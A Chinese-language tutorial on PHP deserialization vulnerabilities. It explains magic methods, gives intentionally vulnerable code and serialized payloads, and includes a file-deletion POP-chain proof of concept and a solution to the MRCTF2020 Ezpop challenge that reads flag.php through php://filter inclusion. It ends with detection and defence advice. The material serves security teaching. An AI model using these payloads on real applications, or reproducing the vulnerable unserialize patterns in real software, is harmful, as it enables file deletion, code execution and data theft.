反序列化漏洞详解
字数 1256 2025-08-06 08:35:22

反序列化漏洞详解

一、基础概念

1. 序列化与反序列化

序列化:将对象转换为字节序列的过程,以便存储或传输。在PHP中,使用serialize()函数实现。

反序列化:将字节序列恢复为对象的过程。在PHP中,使用unserialize()函数实现。

2. 魔术方法

PHP中的魔术方法会在特定操作时自动调用,与反序列化相关的主要有:

  • __construct():对象创建时触发
  • __destruct():对象销毁时触发
  • __wakeup():使用unserialize()时触发
  • __toString():对象被当作字符串使用时触发
  • __invoke():对象被当作函数调用时触发
  • __get():从不可访问属性读取数据时触发
  • __set():向不可访问属性写入数据时触发

二、漏洞原理

反序列化漏洞产生的条件:

  1. 存在unserialize()操作且参数用户可控
  2. 魔术方法中存在敏感操作(如eval()system()等)
  3. 敏感操作的参数可通过反序列化控制

三、漏洞实例分析

简单示例

class test{
    var $id = 'Baize';
    function __wakeup(){
        eval($this->id);
    }
}

$test1 = $_GET['string'];
$test2 = unserialize($test1);

利用方式
构造序列化字符串:

O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}

实例解析1:文件删除漏洞

代码结构

class Test1{
    protected $obj;
    function __construct(){$this->obj = new Test3;}
    function __toString(){return $this->obj->Delete();}
}

class Test2{  
    public $cache_file;
    function Delete(){
        $file = "/var/www/html/cache/tmp/{$this->cache_file}";
        if(file_exists($file)){@unlink($file);}
        return 'I am a evil Delete function';
    }
}

class Test3{
    function Delete(){return 'I am a safe Delete function';}
}

$user_data = unserialize($_GET['data']);
echo $user_data;

POP链构造

  1. 通过echo触发Test1__toString()
  2. __toString()调用$this->obj->Delete()
  3. 通过构造使$this->obj指向Test2实例
  4. 调用Test2Delete()实现文件删除

利用POC

class Test1{
    protected $obj;
    function __construct(){$this->obj = new Test2;}
}

class Test2{
    public $cache_file = '../../../../test.php';
}

$evil = new Test1();
echo urlencode(serialize($evil));

实例解析2:[MRCTF2020]Ezpop

代码结构

class Modifier {
    protected $var;
    function append($value){include($value);}
    function __invoke(){$this->append($this->var);}
}

class Show{
    public $source, $str;
    function __construct($file='index.php'){$this->source = $file;}
    function __toString(){return $this->str->source;}
    function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    function __construct(){$this->p = array();}
    function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){@unserialize($_GET['pop']);}

POP链构造

  1. 通过unserialize()触发Show__wakeup()
  2. __wakeup()中的preg_match()$this->source转为字符串,触发__toString()
  3. __toString()尝试访问$this->str->source,若$this->strTest实例且source不存在,触发__get()
  4. __get()$this->p作为函数调用,若$this->pModifier实例,触发__invoke()
  5. __invoke()调用append()实现文件包含

利用POC

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source, $str;
    function __construct($file){$this->source = $file;}
}

class Test{
    public $p;
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

四、漏洞检测与防御

检测方法

  1. 审计源码寻找unserialize()操作
  2. 检查参数是否用户可控
  3. 分析魔术方法中的敏感操作
  4. 寻找可利用的POP链

防御措施

  1. 避免反序列化用户可控数据
  2. 使用白名单验证反序列化数据
  3. 对敏感操作进行严格过滤
  4. 使用__wakeup()__destruct()进行安全检查
  5. 使用PHP 7的allowed_classes选项限制可反序列化的类

五、总结

反序列化漏洞的核心在于利用对象属性可控和魔术方法的自动调用机制,通过精心构造的POP链实现敏感操作。理解魔术方法的触发条件和类之间的调用关系是分析和利用此类漏洞的关键。

反序列化漏洞详解 一、基础概念 1. 序列化与反序列化 序列化 :将对象转换为字节序列的过程,以便存储或传输。在PHP中,使用 serialize() 函数实现。 反序列化 :将字节序列恢复为对象的过程。在PHP中,使用 unserialize() 函数实现。 2. 魔术方法 PHP中的魔术方法会在特定操作时自动调用,与反序列化相关的主要有: __construct() :对象创建时触发 __destruct() :对象销毁时触发 __wakeup() :使用 unserialize() 时触发 __toString() :对象被当作字符串使用时触发 __invoke() :对象被当作函数调用时触发 __get() :从不可访问属性读取数据时触发 __set() :向不可访问属性写入数据时触发 二、漏洞原理 反序列化漏洞产生的条件: 存在 unserialize() 操作且参数用户可控 魔术方法中存在敏感操作(如 eval() 、 system() 等) 敏感操作的参数可通过反序列化控制 三、漏洞实例分析 简单示例 利用方式 : 构造序列化字符串: 实例解析1:文件删除漏洞 代码结构 : POP链构造 : 通过 echo 触发 Test1 的 __toString() __toString() 调用 $this->obj->Delete() 通过构造使 $this->obj 指向 Test2 实例 调用 Test2 的 Delete() 实现文件删除 利用POC : 实例解析2:[ MRCTF2020 ]Ezpop 代码结构 : POP链构造 : 通过 unserialize() 触发 Show 的 __wakeup() __wakeup() 中的 preg_match() 将 $this->source 转为字符串,触发 __toString() __toString() 尝试访问 $this->str->source ,若 $this->str 是 Test 实例且 source 不存在,触发 __get() __get() 将 $this->p 作为函数调用,若 $this->p 是 Modifier 实例,触发 __invoke() __invoke() 调用 append() 实现文件包含 利用POC : 四、漏洞检测与防御 检测方法 审计源码寻找 unserialize() 操作 检查参数是否用户可控 分析魔术方法中的敏感操作 寻找可利用的POP链 防御措施 避免反序列化用户可控数据 使用白名单验证反序列化数据 对敏感操作进行严格过滤 使用 __wakeup() 或 __destruct() 进行安全检查 使用PHP 7的 allowed_classes 选项限制可反序列化的类 五、总结 反序列化漏洞的核心在于利用对象属性可控和魔术方法的自动调用机制,通过精心构造的POP链实现敏感操作。理解魔术方法的触发条件和类之间的调用关系是分析和利用此类漏洞的关键。